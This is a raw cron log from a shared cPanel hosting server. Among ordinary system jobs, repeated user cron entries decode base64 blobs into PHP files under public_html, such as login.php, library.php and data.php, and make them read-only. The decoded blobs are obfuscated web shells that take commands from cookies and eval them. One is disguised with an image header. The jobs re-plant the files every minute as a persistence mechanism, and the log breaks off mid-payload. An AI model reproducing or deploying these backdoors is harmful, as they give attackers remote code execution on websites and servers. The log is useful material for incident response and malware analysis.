dpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:02:02 medusa CROND[15300]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:02:02 medusa CROND[15305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:03:02 medusa CROND[17139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:03:02 medusa CROND[17145]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:03:02 medusa CROND[17146]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:03:02 medusa CROND[17147]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:03:02 medusa CROND[17148]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:03:02 medusa CROND[17149]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:03:02 medusa CROND[17151]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:03:02 medusa CROND[17152]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:03:02 medusa CROND[17150]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 08:03:02 medusa CROND[17161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:03:02 medusa CROND[17162]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:03:02 medusa CROND[17163]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:04:02 medusa CROND[18934]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:04:02 medusa CROND[18935]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:04:02 medusa CROND[18936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:04:02 medusa CROND[18937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:04:02 medusa CROND[18938]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:04:02 medusa CROND[18940]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:04:02 medusa CROND[18949]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:04:02 medusa CROND[18948]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:04:02 medusa CROND[18950]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:04:02 medusa CROND[18947]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 08:04:02 medusa CROND[18952]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:04:02 medusa CROND[18954]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:04:02 medusa CROND[18955]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:05:01 medusa CROND[20684]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 08:05:01 medusa CROND[20695]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 08:05:01 medusa CROND[20698]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 08:05:01 medusa CROND[20706]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 08:05:01 medusa CROND[20711]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:05:01 medusa CROND[20713]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 08:05:01 medusa CROND[20714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 08:05:01 medusa CROND[20715]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 08:05:01 medusa CROND[20716]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 08:05:01 medusa CROND[20719]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3h